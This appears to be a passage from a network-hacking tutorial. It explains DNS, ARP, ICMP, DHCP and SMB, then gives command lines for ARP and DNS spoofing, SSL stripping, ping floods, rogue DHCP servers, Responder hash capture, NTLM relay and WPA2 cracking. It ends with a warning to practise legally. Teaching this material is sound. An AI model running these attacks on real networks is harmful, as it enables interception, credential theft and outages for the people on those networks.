tcp 0.0.0.0:22 0.0.0.0:* LISTEN 1234/sshd
tcp 0.0.0.0:80 0.0.0.0:* LISTEN 5678/apache2
tcp 192.168.1.100:443 142.250.80.14:443 ESTABLISHED 9999/firefox
# 0.0.0.0:22 = Listening on ALL interfaces on port 22
# 127.0.0.1:3306 = Only listening on localhost (safer!)
# 192.168.1.100:443 = Established connection to Google
DNS: The Internet's Phone Book
DNS (Domain Name System) translates human-readable names like google.com into IP addresses computers can use. Without DNS, you'd have to memorize IP addresses for every website. DNS is critical infrastructure - and critically exploitable.
How DNS Works (Step by Step)
You type: www.example.com in your browser
STEP 1: Browser Cache
└── Browser checks: "Have I looked this up in the last few minutes?"
└── If yes, use cached IP. Done!
└── If no, continue...
STEP 2: Operating System Cache
└── OS checks its DNS cache
# Windows: ipconfig /displaydns
# Linux: systemd-resolve --status
└── If found, return IP. Done!
└── If not, continue...
STEP 3: Hosts File
└── OS checks /etc/hosts (Linux) or C:\Windows\System32\drivers\etc\hosts
└── Manual overrides live here
└── 192.168.1.100 myserver.local
└── If found, return IP. Done!
└── If not, continue...
STEP 4: Recursive Resolver (Your ISP's DNS)
└── Query goes to your configured DNS server
└── Usually your router → ISP DNS
└── Or custom: 8.8.8.8 (Google), 1.1.1.1 (Cloudflare)
└── Resolver checks its cache
└── If found, return IP. Done!
└── If not, resolver does the heavy lifting...
STEP 5: Root DNS Servers
└── Resolver asks root server: "Where is .com?"
└── 13 root server clusters worldwide (a.root-servers.net through m)
└── Root says: "I don't know example.com, but .com TLD is at these servers"
STEP 6: TLD (Top-Level Domain) Servers
└── Resolver asks .com TLD: "Where is example.com?"
└── TLD says: "I don't know the IP, but example.com's nameservers are at..."
STEP 7: Authoritative Nameserver
└── Resolver asks example.com's nameserver: "What's the IP for www?"
└── Authoritative server says: "93.184.216.34"
└── This is the definitive answer!
STEP 8: Response Cached and Returned
└── Resolver caches the answer (TTL determines how long)
└── Returns 93.184.216.34 to your OS
└── OS caches it, returns to browser
└── Browser caches it, connects to the IP
Total time: Usually 20-120 milliseconds for uncached lookups
DNS Record Types
DNS stores various types of records. Each serves a different purpose - and leaks different information to attackers.
| Type |
Name |
Purpose |
Hacker Use |
| A |
Address |
Maps domain to IPv4 address |
Find server IPs, identify hosting |
| AAAA |
IPv6 Address |
Maps domain to IPv6 address |
Discover IPv6 infrastructure (often unsecured) |
| MX |
Mail Exchanger |
Specifies mail servers for domain |
Find email infrastructure, phishing setup |
| NS |
Nameserver |
Authoritative DNS servers for domain |
DNS infrastructure mapping, zone transfer targets |
| TXT |
Text Record |
Arbitrary text (SPF, DKIM, verification) |
Information disclosure! Often contains secrets. |
| CNAME |
Canonical Name |
Alias to another domain |
Subdomain takeover if points to unclaimed resource! |
| PTR |
Pointer |
Reverse DNS - IP to domain |
Identify what domain an IP belongs to |
| SOA |
Start of Authority |
Administrative info about zone |
Admin email, serial numbers, timing |
| SRV |
Service |
Locate services (LDAP, SIP, etc.) |
Discover internal services like AD |
DNS Reconnaissance Tools
# nslookup - Basic DNS queries
nslookup google.com
nslookup -type=MX google.com
nslookup -type=NS google.com
nslookup -type=TXT google.com
# dig - More powerful DNS tool
dig google.com # A record
dig google.com MX # MX records
dig google.com ANY # All records (if allowed)
dig +short google.com # Just the IP
dig @8.8.8.8 google.com # Query specific DNS server
# host - Simple DNS lookup
host google.com
host -t MX google.com
host -t TXT google.com
# Reverse DNS lookup
dig -x 142.250.80.14
nslookup 142.250.80.14
host 142.250.80.14
DNS Zone Transfer Attack
Zone transfers (AXFR) are meant to replicate DNS records between nameservers. If misconfigured, attackers can download the ENTIRE zone - every subdomain, every IP!
# Attempt zone transfer:
dig axfr @ns1.target.com target.com
# If successful, you get EVERYTHING:
target.com. IN SOA ns1.target.com. admin.target.com.
target.com. IN NS ns1.target.com.
target.com. IN NS ns2.target.com.
target.com. IN A 203.0.113.1
www.target.com. IN A 203.0.113.1
mail.target.com. IN A 203.0.113.2
dev.target.com. IN A 203.0.113.10 # ← Dev server!
staging.target.com IN A 203.0.113.11 # ← Staging!
admin.target.com. IN A 203.0.113.20 # ← Admin panel!
vpn.target.com. IN A 203.0.113.50 # ← VPN gateway!
db.target.com. IN A 10.0.0.5 # ← Internal IP leaked!
# This is a MASSIVE recon win!
# You just discovered their entire infrastructure
# Automated with nmap:
nmap --script dns-zone-transfer -p 53 ns1.target.com
🎯 DNS Attacks
DNS Spoofing/Cache Poisoning:
- Inject fake DNS responses to redirect victims
- User types "bank.com" but goes to attacker's fake site
- Credentials stolen, malware delivered
DNS Tunneling:
- Encode data in DNS queries to exfiltrate through firewalls
- DNS is rarely blocked, so makes good covert channel
- Tools: dnscat2, iodine
Subdomain Takeover:
- CNAME points to cloud resource (AWS, Heroku, etc.)
- Resource is deleted but CNAME remains
- Attacker claims the resource, now controls subdomain!
Subdomain Enumeration
Finding hidden subdomains is crucial reconnaissance. Many attack surfaces hide in forgotten subdomains.
# Subdomain enumeration tools:
# sublist3r - Uses search engines, VirusTotal, etc.
sublist3r -d target.com
# amass - Comprehensive subdomain discovery
amass enum -d target.com
# gobuster - Bruteforce subdomains
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
# subfinder - Fast subdomain finder
subfinder -d target.com
# dnsrecon - DNS enumeration
dnsrecon -d target.com
# Online tools:
# crt.sh - Certificate transparency logs
# dnsdumpster.com - Free DNS recon
# shodan.io - Search for exposed services
Certificate Transparency = Free Subdomains
When a company gets an SSL certificate, it's logged publicly. Search crt.sh for "%.target.com" to find ALL their subdomains with SSL certs - completely legal recon!
# Query crt.sh
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u
# Results might include:
# dev.target.com
# staging.target.com
# api.target.com
# internal.target.com ← Interesting!
# vpn.target.com
# admin.target.com ← Very interesting!
Essential Network Protocols Deep Dive
Protocols are the languages and rules computers use to communicate. Each protocol has different purposes - and different vulnerabilities. Understanding these protocols at a deep level is essential for network hacking.
ARP - Address Resolution Protocol
ARP maps IP addresses to MAC addresses on local networks. It's essential for Layer 2 communication - and it's completely trusting, making it perfect for attacks.
# ARP in action:
# Your computer: "Who has 192.168.1.1? Tell 192.168.1.100"
# This is an ARP Request (broadcast to everyone)
# Router: "192.168.1.1 is at AA:BB:CC:DD:EE:FF"
# This is an ARP Reply (unicast back to requester)
# Your computer caches this mapping:
# ARP Cache: 192.168.1.1 → AA:BB:CC:DD:EE:FF
# View ARP cache:
arp -a # Windows/Linux
ip neigh show # Linux (modern)
# Example output:
192.168.1.1 at aa:bb:cc:dd:ee:ff [ether] on eth0
192.168.1.50 at 11:22:33:44:55:66 [ether] on eth0
# Problem: ARP has NO AUTHENTICATION
# Anyone can send ARP replies claiming to be anyone!
ARP Spoofing Attack (MITM)
# ARP Spoofing - The Classic Man-in-the-Middle Attack
# Normal situation:
Victim (192.168.1.100) → Router (192.168.1.1) → Internet
# Victim's ARP cache: 192.168.1.1 = AA:BB:CC:DD:EE:FF (router's real MAC)
# Attacker sends fake ARP reply to victim:
"192.168.1.1 is at [ATTACKER'S MAC]"
# Now victim's ARP cache says:
192.168.1.1 = [ATTACKER'S MAC] ← POISONED!
# All traffic the victim sends to "the router" goes to attacker!
Victim → Attacker → Router → Internet
↑
Sees everything!
# To complete MITM, also poison the router:
"192.168.1.100 is at [ATTACKER'S MAC]"
# Now traffic flows BOTH ways through attacker:
Victim ↔ Attacker ↔ Router ↔ Internet
# Tools for ARP spoofing:
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1 # Tell victim we're the router
arpspoof -i eth0 -t 192.168.1.1 192.168.1.100 # Tell router we're the victim
# Enable IP forwarding (so traffic flows through):
echo 1 > /proc/sys/net/ipv4/ip_forward
# Better tool - bettercap:
bettercap -iface eth0
> net.probe on
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> net.sniff on
What Can You Do With ARP Spoofing?
- Sniff credentials: HTTP logins, FTP, Telnet - all visible
- Session hijacking: Steal cookies, become logged-in users
- Inject content: Add malware to downloads, modify web pages
- SSL stripping: Downgrade HTTPS to HTTP
- DNS spoofing: Redirect domains to fake sites
ICMP - Internet Control Message Protocol
ICMP is used for network diagnostics and error reporting. Ping and traceroute use ICMP. It's also useful for reconnaissance and can be used in attacks.
# Common ICMP message types:
Type 0 - Echo Reply (ping response)
Type 3 - Destination Unreachable
Type 4 - Source Quench (deprecated)
Type 5 - Redirect (used in attacks!)
Type 8 - Echo Request (ping)
Type 11 - Time Exceeded (used by traceroute)
# Ping uses Echo Request/Reply:
ping 8.8.8.8
# Sends ICMP Type 8, receives ICMP Type 0
# Traceroute uses Time Exceeded:
traceroute google.com # Linux
tracert google.com # Windows
# How traceroute works:
# 1. Send packet with TTL=1
# 2. First router decrements TTL to 0, sends back "Time Exceeded"
# 3. Now we know the first hop!
# 4. Send packet with TTL=2
# 5. Second router sends "Time Exceeded"
# 6. Repeat until destination reached
ICMP Attacks
# Ping Flood (DDoS):
ping -f 192.168.1.1 # Flood ping (Linux, needs root)
hping3 -1 --flood 192.168.1.1 # Using hping3
# Ping of Death (historical):
# Oversized ICMP packets that crash systems
# Modern systems are patched against this
# Smurf Attack (amplification):
# Ping broadcast address with spoofed source
# All hosts reply to victim = amplification
# ICMP Redirect Attack:
# Send fake "Redirect" messages
# Victim updates routing table
# Traffic now routes through attacker
# Using hping3 for ICMP attacks:
hping3 -1 -a 192.168.1.100 192.168.1.255 # Spoofed ping to broadcast
DHCP - Dynamic Host Configuration Protocol
DHCP automatically assigns IP addresses, gateways, and DNS servers to devices. It makes networks "plug and play" - but also trusting and exploitable.
# DHCP Process (DORA):
1. DISCOVER - Client broadcasts: "I need an IP!"
Src: 0.0.0.0:68 → Dst: 255.255.255.255:67
2. OFFER - DHCP server offers configuration:
"You can have 192.168.1.100"
3. REQUEST - Client requests the offered IP:
"I'll take 192.168.1.100"
4. ACK - Server acknowledges:
"192.168.1.100 is yours for 24 hours"
Also provides: Gateway, DNS, subnet mask
# Client now has:
IP: 192.168.1.100
Gateway: 192.168.1.1
DNS: 192.168.1.1 (or ISP's DNS)
Subnet: 255.255.255.0
Lease time: 86400 seconds
DHCP Attacks
# DHCP Starvation Attack:
# Request ALL available IP addresses
# Legitimate users can't get IPs
# Tools: Yersinia, dhcpig
yersinia -G # GUI mode
dhcpig -i eth0 # Exhaust DHCP pool
# Rogue DHCP Server Attack:
# Set up your own DHCP server
# Race to respond faster than legitimate server
# Hand out YOUR configuration:
# - YOUR IP as the gateway (MITM!)
# - YOUR IP as DNS server (DNS spoofing!)
# Using dnsmasq as rogue DHCP:
dnsmasq --interface=eth0 \
--dhcp-range=192.168.1.100,192.168.1.200 \
--dhcp-option=3,192.168.1.50 \ # Gateway = attacker
--dhcp-option=6,192.168.1.50 # DNS = attacker
# Now all new clients route through you!
HTTP/HTTPS Protocols
HTTP is the foundation of web communication. Understanding it is essential for web hacking.
# HTTP Request Structure:
GET /login.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml
Accept-Language: en-US,en;q=0.9
Cookie: session_id=abc123; user=john
Connection: keep-alive
[blank line]
[optional body for POST requests]
# HTTP Response Structure:
HTTP/1.1 200 OK
Date: Sat, 14 Dec 2024 12:00:00 GMT
Server: Apache/2.4.41
Content-Type: text/html; charset=UTF-8
Content-Length: 1234
Set-Cookie: session_id=xyz789; HttpOnly; Secure
...
# Important HTTP Methods:
GET - Retrieve resource (parameters in URL)
POST - Submit data (parameters in body)
PUT - Update/create resource
DELETE - Delete resource
HEAD - GET without body (just headers)
OPTIONS - What methods are allowed?
PATCH - Partial update
TRACE - Echo back request (XST attacks)
# Important Status Codes:
200 - OK
301 - Moved Permanently (redirect)
302 - Found (temporary redirect)
400 - Bad Request
401 - Unauthorized
403 - Forbidden
404 - Not Found
500 - Internal Server Error
502 - Bad Gateway
503 - Service Unavailable
SMB - Server Message Block
SMB is Windows' file sharing protocol. It's been the source of devastating vulnerabilities like EternalBlue (WannaCry ransomware).
# SMB Ports:
139 - NetBIOS Session Service (SMB over NetBIOS)
445 - SMB directly over TCP
# SMB Enumeration:
smbclient -L //192.168.1.1 # List shares
smbclient //192.168.1.1/share # Connect to share
# Null session (no authentication):
smbclient -L //192.168.1.1 -N
# Using enum4linux:
enum4linux 192.168.1.1
# Using smbmap:
smbmap -H 192.168.1.1
smbmap -H 192.168.1.1 -u '' -p '' # Null session
# Check for EternalBlue vulnerability:
nmap -p 445 --script smb-vuln-ms17-010 192.168.1.1
# CrackMapExec - Swiss army knife for SMB:
crackmapexec smb 192.168.1.0/24 # Scan network
crackmapexec smb 192.168.1.1 -u '' -p '' # Null session
crackmapexec smb 192.168.1.1 -u user -p password --shares
SMB Attack Vectors
- Null sessions: Anonymous access to shares and user lists
- Password spraying: Try common passwords across users
- Pass-the-hash: Use NTLM hashes without cracking
- EternalBlue: Remote code execution (MS17-010)
- SMB Relay: Relay authentication to another host
Essential Networking Tools
Master these tools and you can analyze, attack, and defend any network. These are the essential tools every network hacker must know inside and out.
Reconnaissance & Scanning Tools
🔍 Nmap - The King of Port Scanners
Nmap is the most important reconnaissance tool. It discovers hosts, scans ports, detects services, and even finds vulnerabilities.
# Host Discovery:
nmap -sn 192.168.1.0/24 # Ping sweep - find live hosts
nmap -Pn 192.168.1.1 # Skip ping - assume host is up
nmap -PS22,80,443 192.168.1.1 # TCP SYN ping on specific ports
nmap -PA80 192.168.1.1 # TCP ACK ping
nmap -PU53 192.168.1.1 # UDP ping
# Port Scanning Techniques:
nmap -sT 192.168.1.1 # TCP Connect scan (completes handshake, logged)
nmap -sS 192.168.1.1 # SYN scan (stealthy, half-open) [default, needs root]
nmap -sU 192.168.1.1 # UDP scan (slow but important!)
nmap -sA 192.168.1.1 # ACK scan (detect firewall rules)
nmap -sN 192.168.1.1 # NULL scan (no flags, evades some firewalls)
nmap -sF 192.168.1.1 # FIN scan (only FIN flag)
nmap -sX 192.168.1.1 # Xmas scan (FIN+PSH+URG flags)
# Port Specification:
nmap -p 80 192.168.1.1 # Single port
nmap -p 80,443,8080 192.168.1.1 # Multiple ports
nmap -p 1-1000 192.168.1.1 # Port range
nmap -p- 192.168.1.1 # ALL 65535 ports (slow but thorough!)
nmap --top-ports 100 192.168.1.1 # Top 100 most common ports
# Service & Version Detection:
nmap -sV 192.168.1.1 # Version detection
nmap -sV --version-intensity 5 # Aggressive version detection
nmap -sC 192.168.1.1 # Default scripts
nmap -A 192.168.1.1 # Aggressive: OS + versions + scripts + traceroute
# OS Detection:
nmap -O 192.168.1.1 # OS fingerprinting
# Timing & Performance:
nmap -T0 192.168.1.1 # Paranoid (IDS evasion, very slow)
nmap -T1 192.168.1.1 # Sneaky (IDS evasion)
nmap -T2 192.168.1.1 # Polite (low bandwidth)
nmap -T3 192.168.1.1 # Normal (default)
nmap -T4 192.168.1.1 # Aggressive (faster)
nmap -T5 192.168.1.1 # Insane (fastest, may miss ports)
# NSE Scripts:
nmap --script vuln 192.168.1.1 # Vulnerability scripts
nmap --script "http-*" 192.168.1.1 # All HTTP scripts
nmap --script smb-vuln-ms17-010 192.168.1.1 # Check for EternalBlue
nmap --script http-enum 192.168.1.1 # HTTP enumeration
nmap --script ssl-heartbleed 192.168.1.1 # Check for Heartbleed
# Output Formats:
nmap -oN output.txt 192.168.1.1 # Normal output
nmap -oX output.xml 192.168.1.1 # XML output
nmap -oG output.gnmap 192.168.1.1 # Grepable output
nmap -oA output 192.168.1.1 # All formats at once
# Pro Tip Combinations:
nmap -sS -sV -sC -O -T4 -p- -oA full_scan 192.168.1.1
# SYN scan, version detection, default scripts, OS detection, fast timing, all ports
🦈 Wireshark - Packet Analyzer
Wireshark captures and analyzes all network traffic in real-time. Essential for understanding what's happening on the wire.
# Start Wireshark:
wireshark # GUI
tshark -i eth0 # Command line version
# Common Capture Filters (before capture):
host 192.168.1.1 # Traffic to/from specific host
port 80 # Traffic on specific port
src 192.168.1.100 # Traffic from source
dst 192.168.1.1 # Traffic to destination
tcp # Only TCP
udp port 53 # Only DNS (UDP 53)
# Common Display Filters (after capture):
ip.addr == 192.168.1.1 # Traffic to/from IP
ip.src == 192.168.1.100 # From specific source
ip.dst == 8.8.8.8 # To specific destination
tcp.port == 80 # TCP port 80
http # Only HTTP traffic
dns # Only DNS
tcp.flags.syn == 1 # SYN packets (new connections)
http.request.method == "POST" # Only POST requests
frame contains "password" # Packets containing "password"
# Following Streams:
Right-click packet → Follow → TCP Stream # See full conversation
Right-click packet → Follow → HTTP Stream # Reconstructed HTTP
# Extract files:
File → Export Objects → HTTP # Extract downloaded files
# Colorize:
View → Coloring Rules # Color code different traffic
# Practical uses:
# - Capture credentials from unencrypted traffic
# - Analyze malware communication
# - Debug network issues
# - Learn how protocols work
# - Verify your own tools are working
🖥️ Tcpdump - Command-Line Packet Capture
# Basic capture:
tcpdump -i eth0 # Capture on interface
tcpdump -i any # All interfaces
# Filter examples:
tcpdump -i eth0 host 192.168.1.1 # Specific host
tcpdump -i eth0 port 80 # Specific port
tcpdump -i eth0 src 192.168.1.100 # From source
tcpdump -i eth0 dst port 443 # To destination port
# Output options:
tcpdump -w capture.pcap # Write to file
tcpdump -r capture.pcap # Read from file
tcpdump -n # Don't resolve hostnames
tcpdump -nn # Don't resolve hostnames or ports
tcpdump -v # Verbose
tcpdump -vvv # Very verbose
tcpdump -X # Show packet contents in hex and ASCII
# Combine filters:
tcpdump -i eth0 'port 80 and host 192.168.1.1'
tcpdump -i eth0 'tcp port 22 or tcp port 80'
tcpdump -i eth0 'not port 22' # Exclude SSH
Attack Tools
🎯 Bettercap - Modern Network Attack Framework
# Start bettercap:
bettercap -iface eth0
# Interactive mode commands:
> help # List all commands
> net.probe on # Discover hosts on network
> net.show # Show discovered hosts
# ARP Spoofing:
> set arp.spoof.targets 192.168.1.100 # Target specific host
> set arp.spoof.fullduplex true # Intercept both directions
> arp.spoof on # Start ARP spoofing
# Packet Sniffing:
> net.sniff on # Capture traffic
# DNS Spoofing:
> set dns.spoof.domains *.google.com # Domains to spoof
> set dns.spoof.address 192.168.1.50 # Where to redirect
> dns.spoof on # Start DNS spoofing
# HTTPS Downgrade (SSL stripping):
> set http.proxy.sslstrip true
> http.proxy on
# Credential Harvesting:
> set http.proxy.script /path/to/script.js
> http.proxy on
# Caplets (automation scripts):
bettercap -caplet spoof.cap # Run caplet file
🔓 Responder - Windows Credential Harvester
# Responder poisons LLMNR, NBT-NS, and MDNS
# When Windows can't resolve a name, it broadcasts
# Responder answers: "I'm that server!" and captures creds
responder -I eth0 # Start Responder
responder -I eth0 -wrf # Include WPAD, with force
# Captured hashes go to logs/
# Crack with hashcat:
hashcat -m 5600 hash.txt wordlist.txt # NTLMv2
# Use with ntlmrelayx for relay attacks:
ntlmrelayx.py -tf targets.txt -smb2support
📡 Aircrack-ng Suite - WiFi Hacking
# Put interface in monitor mode:
airmon-ng start wlan0
# Scan for networks:
airodump-ng wlan0mon
# Target specific network:
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Deauth attack (force handshake):
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c CLIENT_MAC wlan0mon
# Crack WPA2:
aircrack-ng -w wordlist.txt capture-01.cap
# PMKID Attack (clientless):
hcxdumptool -i wlan0mon --enable_status=1 -o capture.pcapng
hcxpcapngtool -o hash.txt capture.pcapng
hashcat -m 22000 hash.txt wordlist.txt
Information Gathering Tools
# netcat - Swiss Army knife
nc -lvnp 4444 # Listen on port 4444
nc 192.168.1.1 80 # Connect to port 80
nc -zv 192.168.1.1 1-1000 # Port scan
# curl - HTTP requests
curl http://192.168.1.1 # GET request
curl -X POST -d "data" http://.. # POST request
curl -I http://192.168.1.1 # Headers only
curl -k https://... # Ignore cert errors
# dig - DNS queries
dig google.com # A record
dig +short google.com # Just the IP
dig @8.8.8.8 google.com # Query specific server
# whois - Domain info
whois google.com
# traceroute - Path to target
traceroute 8.8.8.8
# netstat / ss - Network connections
netstat -tlnp # Listening TCP ports
ss -tlnp # Same, modern tool
# arp - ARP table
arp -a # Show ARP cache
⚖️ Practice Legally!
Only use these tools on networks you own or have explicit permission to test. Unauthorized network scanning and attacks are illegal in most jurisdictions and can result in:
- Criminal charges under computer fraud laws
- Civil lawsuits for damages
- Termination of employment
- Permanent ban from the security industry
Legal ways to practice:
- Set up your own lab with virtual machines
- Use intentionally vulnerable VMs (Metasploitable, DVWA)
- Participate in CTF competitions
- Use platforms like HackTheBox, TryHackMe
- Get written permission for authorized testing
Building Your Network Hacking Lab
VirtualBox/VMware
Run multiple virtual machines to simulate networks. Create isolated networks for safe testing.
Kali Linux
Pre-loaded with all the tools mentioned here. The go-to distro for penetration testing.
Metasploitable
Intentionally vulnerable Linux VM. Perfect target for practicing network attacks.
Windows VMs
Set up Windows Server and clients to practice Active Directory attacks, SMB exploits, etc.